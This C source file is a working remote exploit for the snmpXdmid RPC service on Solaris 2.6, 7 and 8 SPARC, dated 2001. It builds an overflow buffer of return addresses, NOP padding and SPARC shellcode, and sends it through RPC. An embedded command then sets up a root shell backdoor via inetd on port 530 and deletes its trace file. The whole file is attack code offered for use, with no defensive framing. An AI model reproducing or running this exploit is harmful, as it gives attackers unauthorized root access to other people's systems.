/*
 * ########## Private Code! Don't distribute it ! ###########
 * 
 * --= snmpdXdmid  remote exploit for Solaris(2.6/7/8) SPARC(with
 * non-exec-stack) =--
 * 
 * Check if target is vulnerable: $ rpcinfo -p target |grep 100249 100249    1
 * udp  32785 100249    1   tcp  32778 <-- OK, target is vulnerable!
 * 
 * Compile   : cp <...> ./librwtool.so.2 
 *           : ln -s ./librwtool.so.2 ./librwtool.so
 *           : gcc -Wall -pipe -O3 -o ex ex.c -R. -L. -ldmi -lnsl -lrwtool 
 *           : strip ./ex
 *           : ldd ./ex
 * 
 * Usages :  snmp_ex target 6|7|8
 * 
 * e.g. ./snmp_ex 192.168.10.2 7 (for Solaris 7)
 * 
 * Greets to Job de Haas <job@itsx.com> (He found this bug and give me many
 * help) scz <scz@nsfocus.com> (strong RPC technology support :-)
 * 
 * 
 * Code by warning3 <warning3@nsfocus.com>. 
 * v2. 2001-03-22
 * 
 * ########## Private Code! Don't distribute it ! ###########
 */
#include <dmi/common.h>
#include <rpc/rpc.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>

struct DmiNodeAddress {
        DmiString_t    *address;
        DmiString_t    *rpc;
        DmiString_t    *transport;
};
typedef struct DmiNodeAddress DmiNodeAddress;

typedef DmiNodeAddress DmiNodeAddress_t;

struct DmiComponentAddedIN {
        DmiUnsigned_t   handle;
        DmiNodeAddress_t *sender;
        DmiComponentInfo_t *info;
};
typedef struct DmiComponentAddedIN DmiComponentAddedIN;

#define _DmiComponentAdded ((unsigned long)(0x101))
extern DmiErrorStatus_t *
_dmicomponentadded_0x1(DmiComponentAddedIN *, CLIENT
                       *);

extern bool_t   xdr_DmiComponentAddedIN(XDR *, DmiComponentAddedIN *);

#define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */
#define BUFFLEN 2048
#define RET6_BASE  0xef20b2cc
#define RET7_BASE  0xfea0b5e0
#define STRCPY_ADDR_6   (0xef4a439c - 4)
#define STRCPY_ADDR_7   (0xff0369e4 - 4)
#define DEST_6  0xef5a6040
#define DEST_7  0xff0ba240


/* shellcode is from rpc.cmsd exploit */
char            sc[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff"
"\xa6\x1c\xc0\x13\xe6\x23\xe0\x58\xe6\x23\xe0\x60"
"\x90\x03\xe0\x50\x94\x1a\x80\x0a\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x10\xac\x03\xe0\x50\xec\x23\xbf\xf0"
"\xac\x03\xe0\x5c\xec\x23\xbf\xf4\xac\x03\xe0\x64"
"\xec\x23\xbf\xf8\xe6\x23\xbf\xfc\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x6b\x73\x68"
"\x30\x30\x30\x30\x2d\x63\x63\x63\x30\x30\x30\x30";

int
main(int argc, char *argv[])
{
        DmiComponentInfo_t dmicominfo;
        DmiNodeAddress_t dminodeaddr;
        DmiComponentAddedIN addcompIn;
        DmiString_t     combody;
        DmiErrorStatus_t error_status;

        char            hostname[256];
        char            buf[BUFFLEN];
        CLIENT         *clnt;
        struct timeval  tv = {25, 0};
        int             res, i;
        int             len1, len2;

        char           *command = "echo courier stream tcp nowait root /bin/sh sh -i > /tmp/.x;/usr/sbin/inetd -s /tmp/.x;rm -f /tmp/.x;nohup /etc/init.d/init.dmi start 1>&2 2>/dev/null &\\;";
        int             offset = 0, offset1, safeoff, tmpoff = 0;
        long           *addrptr;
        unsigned int    baseaddr, retaddr, safeaddr;
        unsigned int    fpaddr, fp1addr, destaddr, shaddr;

        if (argc < 3) {
                printf("snmpXdmisd exploit for solaris SPARC\n");
                printf("Usage : %s hostname 6|7|8\n", argv[0]);
                printf("E.g. $ %s 127.0.0.1 6 (for solaris 2.6)\n", argv[0]);
                exit(0);
        }
        strncpy(hostname, argv[1], 255);



        if (atoi(argv[2]) == 6) {
                offset = 1740;
                tmpoff = 540;
                baseaddr = RET6_BASE;
                retaddr = STRCPY_ADDR_6;
                destaddr = DEST_6;
        } else if (atoi(argv[2]) == 7 || atoi(argv[2]) == 8) {
                offset = 1200;
                tmpoff = 200;
                baseaddr = RET7_BASE;
                retaddr = STRCPY_ADDR_7;
                destaddr = DEST_7;
        } else {
                printf("Unkonw system type!\n");
                printf("Usage : %s hostname 6|7|8\n", argv[0]);
                printf("E.g. $ %s 127.0.0.1 6 (for solaris 2.6)\n", argv[0]);
                exit(0);
        }


        safeoff = 200;
        safeaddr = baseaddr + 100;

        printf("retaddr = %#x\n", retaddr);
        printf("safeaddr = %#x\n\n", safeaddr);

        addrptr = (long *) buf;
        /* fill with safeaddr in the first 200 bytes */
        for (i = 0; i < safeoff / 4; i++)
                *addrptr++ = safeaddr;

        shaddr = baseaddr + offset + 64;
        fp1addr = safeaddr;
        fpaddr = baseaddr + safeoff;


        *addrptr++ = 0x12345678;/* you can put any data in  local registers */
        *addrptr++ = 0x12345678;
        *addrptr++ = 0x12345678;
        *addrptr++ = 0x12345678;
        *addrptr++ = 0x12345678;
        *addrptr++ = 0x12345678;
        *addrptr++ = 0x12345678;
        *addrptr++ = 0x12345678;



        *addrptr++ = destaddr;  /* destination address */
        *addrptr++ = shaddr;    /* source address of shellcode */
        *addrptr++ = fp1addr;
        *addrptr++ = fp1addr;
        *addrptr++ = fp1addr;
        *addrptr++ = fp1addr;
        *addrptr++ = fp1addr;   /* we need this address to work  */
        *addrptr++ = destaddr - 8;      /* we will jump (dest_addr+8) to run */

        /* fill with the nops in the last bytes */
        for (i = 0; i < (offset - tmpoff - safeoff - 64) / 4; i++)
                *addrptr++ = NOP;
        /* We have to fill the tmpoff bytes with 0xffffffff in Solaris 2.6 */
        for (i = 0; i < tmpoff / 4; i++)
                *addrptr++ = 0xffffffff;

        /*
         * overwrite the saved %i0-%i6 and %l0-%l7 with safeaddr so that we
         * can return from free().
         */
        for (i = 0; i < 14; i++)
                *addrptr++ = safeaddr;  /* saved (%l0-%l7),(%i0-%i5) */
        *addrptr++ = fpaddr;
        /* overwrite return address */
        *addrptr++ = retaddr;   /* %i7 */

        len1 = strlen(sc);
        len2 = strlen(command);
        /*
         * program will change some bytes in the last 160 bytes So we can't
         * let our shellcode is in the area.
         */
         
        for (i = 0; i < 16; i++)
                *addrptr++ = NOP;
        offset1 = offset + 64 + 64;
        memcpy(buf + offset1, sc, len1);
        memcpy(buf + offset1 + len1, command, len2);
        buf[BUFFLEN - 1] = '\0';


        /* fill the DmiComponentInfo_t struct */
        combody.body.body_val = (char *) &buf;
        combody.body.body_len = strlen(buf) + 1;
        dmicominfo.id = 0;
        dmicominfo.name = &combody;
        dmicominfo.pragma = NULL;
        dmicominfo.description = NULL;
        dmicominfo.exactMatch = 0;

        /* fill the DmiNodeAddress_t struct */
        dminodeaddr.address = NULL;
        dminodeaddr.rpc = NULL;
        dminodeaddr.transport = NULL;

        /* fill the DmiComponentAddedIN struct */

        addcompIn.handle = 0;
        addcompIn.sender = &dminodeaddr;
        addcompIn.info = &dmicominfo;

        clnt = clnt_create(hostname, 100249, 1, "tcp");
        if (clnt == NULL) {
                clnt_pcreateerror("clnt_create");
                exit(0);
        }
        res = 0;
        /* call _DmiComponentAdded procedure */
        res = clnt_call(clnt, _DmiComponentAdded, xdr_DmiComponentAddedIN,
                        (caddr_t) & addcompIn, xdr_DmiErrorStatus_t, (caddr_t) & error_status, tv);

        if (res != RPC_SUCCESS) {
                clnt_perror(clnt, "clnt_call[_DmiComponentAdded]");
                printf("\nNow try to connect the target 530 port, good luck.:)\n");
        } else
                fprintf(stderr, "clnt_call[_DmiComponentAdded] worked\n");

        clnt_destroy(clnt);
        return 0;
}